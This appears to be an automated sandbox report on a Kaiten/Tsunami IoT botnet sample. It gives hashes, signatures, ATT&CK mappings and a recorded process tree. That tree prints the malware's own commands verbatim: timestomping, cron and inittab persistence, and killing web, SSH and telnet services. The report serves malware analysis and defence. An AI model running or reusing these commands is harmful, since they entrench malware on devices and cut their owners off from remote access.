kaiten | a64ddaa1e3747b10863af3b60e79bbef1295a71ffdf3dd15a390d5926a6c3c13

Analysis

max time kernel
53s
max time network
133s
platform
debian-12_armhf
resource
debian12-armhf-20240221-en
resource tags

arch:armhfimage:debian12-armhf-20240221-enkernel:6.1.0-17-armmp-lpaelocale:en-usos:debian-12-armhfsystem
submitted
23-10-2024 01:44

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

a64ddaa1e3747b10863af3b60e79bbef1295a71ffdf3dd15a390d5926a6c3c13.elf
Size

605KB
MD5

8d4a6b005fe1b8b6ab08ac9501a13110
SHA1

ac3449f4ff85338a4cc99581070f358fb30ce1a1
SHA256

a64ddaa1e3747b10863af3b60e79bbef1295a71ffdf3dd15a390d5926a6c3c13
SHA512

7214699e67d101a6fb15e9a7571de1541480818bd399a6e26d018dd22ba33e8d8ebc42c2e7ba62b5268e595658eb57a7be744dee790cbeff71b7f18f9704bb84
SSDEEP

12288:To2aovPAC2u24h68Qugl3qCiJ7o6xt95DujbUjWWkGHnon3MYNBEEx9IRXa:8IvPAC2utTQug7iJ7oOtO3UjLkConLfx

Score

10^/10

kaiten botnet defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Signatures

Detects Kaiten/Tsunami Payload 1 IoCs

resource	yara_rule
behavioral1/memory/706-1-0x00010000-0x00170b4c-memory.dmp	family_kaiten2

Kaiten/Tsunami
Linux-based IoT botnet which is controlled through IRC and normally used to carry out DDoS attacks.
botnet kaiten

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.FWUT5V	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Indicator Removal: Timestomp 1 TTPs 4 IoCs

Adversaries may remove indicators of compromise from the host to evade detection.

defense_evasion

Timestomp

T1070.006

pid	Process
715	sh
717	touch
761	sh
763	touch

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/323	killall
File opened for reading	/proc/705	killall
File opened for reading	/proc/19	killall
File opened for reading	/proc/323	killall
File opened for reading	/proc/33/stat	killall
File opened for reading	/proc/619	killall
File opened for reading	/proc/822/stat	killall
File opened for reading	/proc/43	killall
File opened for reading	/proc/52/stat	killall
File opened for reading	/proc/33	killall
File opened for reading	/proc/665/stat	killall
File opened for reading	/proc/47/stat	killall
File opened for reading	/proc/326/stat	killall
File opened for reading	/proc/207	killall
File opened for reading	/proc/342/stat	killall
File opened for reading	/proc/32/stat	killall
File opened for reading	/proc/458/stat	killall
File opened for reading	/proc/20/stat	killall
File opened for reading	/proc/207/stat	killall
File opened for reading	/proc/144/stat	killall
File opened for reading	/proc/310	killall
File opened for reading	/proc/4/stat	killall
File opened for reading	/proc/12	killall
File opened for reading	/proc/35	killall
File opened for reading	/proc/4/stat	killall
File opened for reading	/proc/14/stat	killall
File opened for reading	/proc/29	killall
File opened for reading	/proc/619/stat	killall
File opened for reading	/proc/6/stat	killall
File opened for reading	/proc/11	killall
File opened for reading	/proc/58/stat	killall
File opened for reading	/proc/46	killall
File opened for reading	/proc/27	killall
File opened for reading	/proc/22/stat	killall
File opened for reading	/proc/38/stat	killall
File opened for reading	/proc/144/stat	killall
File opened for reading	/proc/344	killall
File opened for reading	/proc/342	killall
File opened for reading	/proc/5/stat	killall
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/252/stat	killall
File opened for reading	/proc/619	killall
File opened for reading	/proc/704	killall
File opened for reading	/proc/323/stat	killall
File opened for reading	/proc/21	killall
File opened for reading	/proc/13	killall
File opened for reading	/proc/31	killall
File opened for reading	/proc/316	killall
File opened for reading	/proc/22	killall
File opened for reading	/proc/26	killall
File opened for reading	/proc/355	killall
File opened for reading	/proc/31	killall
File opened for reading	/proc/7	killall
File opened for reading	/proc/614/stat	killall
File opened for reading	/proc/318	killall
File opened for reading	/proc/20	killall
File opened for reading	/proc/16/stat	killall
File opened for reading	/proc/9	killall
File opened for reading	/proc/38/stat	killall
File opened for reading	/proc/47	killall
File opened for reading	/proc/800/stat	killall
File opened for reading	/proc/765/stat	killall
File opened for reading	/proc/19	killall
File opened for reading	/proc/33/stat	killall

/tmp/a64ddaa1e3747b10863af3b60e79bbef1295a71ffdf3dd15a390d5926a6c3c13.elf
/tmp/a64ddaa1e3747b10863af3b60e79bbef1295a71ffdf3dd15a390d5926a6c3c13.elf
1⤵
PID:706
- /bin/sh
  sh -c "touch -acmr /bin/ls /tmp/a64ddaa1e3747b10863af3b60e79bbef1295a71ffdf3dd15a390d5926a6c3c13.elf"
  2⤵
  - Indicator Removal: Timestomp
  PID:715
- - /usr/bin/touch
    touch -acmr /bin/ls /tmp/a64ddaa1e3747b10863af3b60e79bbef1295a71ffdf3dd15a390d5926a6c3c13.elf
    3⤵
    - Indicator Removal: Timestomp
    PID:717
- /bin/sh
  sh -c "(crontab -l | grep -v \"/tmp/a64ddaa1e3747b10863af3b60e79bbef1295a71ffdf3dd15a390d5926a6c3c13.elf\" | grep -v \"no cron\" | grep -v \"lesshts/run.sh\" > /var/run/.x00740882966) > /dev/null 2>&1"
  2⤵
  PID:721
- - /usr/bin/crontab
    crontab -l
    3⤵
    PID:724
- - /usr/bin/grep
    grep -v /tmp/a64ddaa1e3747b10863af3b60e79bbef1295a71ffdf3dd15a390d5926a6c3c13.elf
    3⤵
    PID:725
- - /usr/bin/grep
    grep -v "no cron"
    3⤵
    PID:726
- - /usr/bin/grep
    grep -v lesshts/run.sh
    3⤵
    PID:727
- /bin/sh
  sh -c "echo \"* * * * * /tmp/a64ddaa1e3747b10863af3b60e79bbef1295a71ffdf3dd15a390d5926a6c3c13.elf > /dev/null 2>&1 &\" >> /var/run/.x00740882966"
  2⤵
  PID:730
- /bin/sh
  sh -c "crontab /var/run/.x00740882966"
  2⤵
  PID:733
- - /usr/bin/crontab
    crontab /var/run/.x00740882966
    3⤵
    - Creates/modifies Cron job
    PID:735
- /bin/sh
  sh -c "rm -rf /var/run/.x00740882966"
  2⤵
  PID:740
- - /usr/bin/rm
    rm -rf /var/run/.x00740882966
    3⤵
    PID:741
- /bin/sh
  sh -c "cat /etc/inittab | grep -v \"/tmp/a64ddaa1e3747b10863af3b60e79bbef1295a71ffdf3dd15a390d5926a6c3c13.elf\" > /etc/inittab2"
  2⤵
  PID:744
- - /usr/bin/cat
    cat /etc/inittab
    3⤵
    PID:746
- - /usr/bin/grep
    grep -v /tmp/a64ddaa1e3747b10863af3b60e79bbef1295a71ffdf3dd15a390d5926a6c3c13.elf
    3⤵
    PID:747
- /bin/sh
  sh -c "echo \"0:2345:respawn:/tmp/a64ddaa1e3747b10863af3b60e79bbef1295a71ffdf3dd15a390d5926a6c3c13.elf\" >> /etc/inittab2"
  2⤵
  PID:750
- /bin/sh
  sh -c "cat /etc/inittab2 > /etc/inittab"
  2⤵
  PID:752
- - /usr/bin/cat
    cat /etc/inittab2
    3⤵
    PID:753
- /bin/sh
  sh -c "rm -rf /etc/inittab2"
  2⤵
  PID:757
- - /usr/bin/rm
    rm -rf /etc/inittab2
    3⤵
    PID:759
- /bin/sh
  sh -c "touch -acmr /bin/ls /etc/inittab"
  2⤵
  - Indicator Removal: Timestomp
  PID:761
- - /usr/bin/touch
    touch -acmr /bin/ls /etc/inittab
    3⤵
    - Indicator Removal: Timestomp
    PID:763
- /bin/sh
  sh -c "/bin/uname -n"
  2⤵
  PID:766
- - /bin/uname
    /bin/uname -n
    3⤵
    PID:768
- /bin/sh
  sh -c "/bin/uname -n"
  2⤵
  PID:769
- - /bin/uname
    /bin/uname -n
    3⤵
    PID:771
- /bin/sh
  sh -c "/bin/uname -n"
  2⤵
  PID:773
- - /bin/uname
    /bin/uname -n
    3⤵
    PID:774
- /bin/sh
  sh -c "kill -9 `cat /var/run/httpd.pid` > /dev/null 2>&1 &"
  2⤵
  PID:786
- - /usr/bin/cat
    cat /var/run/httpd.pid
    3⤵
    PID:789
- /bin/sh
  sh -c "service httpd stop > /dev/null 2>&1 &"
  2⤵
  PID:788
- /bin/sh
  sh -c "killall -9 mini_httpd > /dev/null 2>&1 &"
  2⤵
  PID:791
- /bin/sh
  sh -c "killall -9 minihttpd > /dev/null 2>&1 &"
  2⤵
  PID:793
- /bin/sh
  sh -c "kill -9 `cat /var/run/thttpd.pid` > /dev/null 2>&1 &"
  2⤵
  PID:797
- - /usr/bin/cat
    cat /var/run/thttpd.pid
    3⤵
    PID:803
- /bin/sh
  sh -c "nvram set httpd_enable=0 > /dev/null 2>&1"
  2⤵
  PID:802
- /bin/sh
  sh -c "nvram set http_enable=0 > /dev/null 2>&1"
  2⤵
  PID:804
- /bin/sh
  sh -c "killall -9 httpd > /dev/null 2>&1 &"
  2⤵
  PID:805
- /bin/sh
  sh -c "service telnetd stop > /dev/null 2>&1 &"
  2⤵
  PID:807
- /bin/sh
  sh -c "service sshd stop > /dev/null 2>&1 &"
  2⤵
  PID:809
- /bin/sh
  sh -c "killall -9 telnetd > /dev/null 2>&1 &"
  2⤵
  PID:811
- /bin/sh
  sh -c "killall -9 utelnetd > /dev/null 2>&1 &"
  2⤵
  PID:815
- /bin/sh
  sh -c "killall -9 dropbear > /dev/null 2>&1 &"
  2⤵
  PID:819
- /bin/sh
  sh -c "killall -9 sshd > /dev/null 2>&1 &"
  2⤵
  PID:824
- /bin/sh
  sh -c "killall -9 lighttpd > /dev/null 2>&1 &"
  2⤵
  PID:829

/usr/sbin/service
service httpd stop
1⤵
PID:790
- /usr/bin/basename
  basename /usr/sbin/service
  2⤵
  PID:794
- /usr/bin/basename
  basename /usr/sbin/service
  2⤵
  PID:795
- /usr/bin/systemctl
  systemctl list-unit-files --full "--type=socket"
  2⤵
  PID:800
- /usr/bin/sed
  sed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"
  2⤵
  PID:801

/usr/bin/killall
killall -9 mini_httpd
1⤵
- Reads runtime system information
PID:792

/usr/bin/killall
killall -9 minihttpd
1⤵
- Reads runtime system information
PID:796

/usr/bin/killall
killall -9 httpd
1⤵
- Reads runtime system information
PID:806

/usr/sbin/service
service telnetd stop
1⤵
PID:808
- /usr/bin/basename
  basename /usr/sbin/service
  2⤵
  PID:812
- /usr/bin/basename
  basename /usr/sbin/service
  2⤵
  PID:817
- /usr/bin/systemctl
  systemctl list-unit-files --full "--type=socket"
  2⤵
  PID:821
- /usr/bin/sed
  sed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"
  2⤵
  PID:822

/usr/sbin/service
service sshd stop
1⤵
PID:810
- /usr/bin/basename
  basename /usr/sbin/service
  2⤵
  PID:813
- /usr/bin/basename
  basename /usr/sbin/service
  2⤵
  PID:816
- /usr/bin/systemctl
  systemctl list-unit-files --full "--type=socket"
  2⤵
  PID:826
- /usr/bin/sed
  sed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"
  2⤵
  - Reads runtime system information
  PID:827

/usr/bin/killall
killall -9 telnetd
1⤵
- Reads runtime system information
PID:814

/usr/bin/killall
killall -9 utelnetd
1⤵
- Reads runtime system information
PID:818

/usr/bin/killall
killall -9 dropbear
1⤵
- Reads runtime system information
PID:823

/usr/bin/killall
killall -9 sshd
1⤵
- Reads runtime system information
PID:828

/usr/bin/killall
killall -9 lighttpd
1⤵
- Reads runtime system information
PID:830

/usr/local/sbin/systemctl
systemctl stop httpd.service
1⤵
PID:790

/usr/local/bin/systemctl
systemctl stop httpd.service
1⤵
PID:790

/usr/sbin/systemctl
systemctl stop httpd.service
1⤵
PID:790

/usr/bin/systemctl
systemctl stop httpd.service
1⤵
PID:790

/usr/local/sbin/systemctl
systemctl stop sshd.service
1⤵
PID:810

/usr/local/bin/systemctl
systemctl stop sshd.service
1⤵
PID:810

/usr/sbin/systemctl
systemctl stop sshd.service
1⤵
PID:810

/usr/bin/systemctl
systemctl stop sshd.service
1⤵
PID:810

/usr/local/sbin/systemctl
systemctl stop telnetd.service
1⤵
PID:808

/usr/local/bin/systemctl
systemctl stop telnetd.service
1⤵
PID:808

/usr/sbin/systemctl
systemctl stop telnetd.service
1⤵
PID:808

/usr/bin/systemctl
systemctl stop telnetd.service
1⤵
PID:808

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

Indicator Removal

T1070

Timestomp

T1070.006

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/etc/inittab2

Filesize
89B

MD5
fbf8241f54ea2341e9c856f67d3973b0

SHA1
2ad33aff157f8f6a07b5905063224ba9274c6185

SHA256
bbd4d75d7d1205b8f9e9c46b3924f1410e2eef4e82aa4395f6a851c7af0cd8d7

SHA512
153711dbce2bde6cca0a002cecc496f045d701f1ee0ee8f9e94cdfd2ec32fe5310db84d88afb8800d5d5c5bfb3522eacdd4f393db17ecdb47ff15dad6cd54738

Download Submit
/run/.x00740882966

Filesize
103B

MD5
a358c78f080b730d3bf47b771784d00c

SHA1
5f1b4a075f6a083f57c4cd958118ad3918fd26bb

SHA256
619f89d6f34ff3484833c177d6fda9f7d94aa06ff2e00c73e5495a57828883ad

SHA512
a0414d133059f29a66049aecd5fcf011302e3470180feb78482c50ee8023cbdeb2ebfc021c1221f111480b59df0801ffc88398cacbb16716a1545bb464d2744e

Download Submit
/var/spool/cron/crontabs/tmp.FWUT5V

Filesize
299B

MD5
8931e37c5b2fc64417894fbf7daa2732

SHA1
b479cc2e34fc4ab26d078cec5410499da8987e2c

SHA256
b1640bad32e78c6e7c9ed47b7de94f89c27dc4eb8bff51c21b1e98fab572c175

SHA512
ec9cd22f1d9e91f9a1b0c083a3566ea9f9412154c79c46d13d5c236419a5adf2d01403e46b0249d129d2fc3a06c26b111a8e2206c4e787e6a506fb3163adc307

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads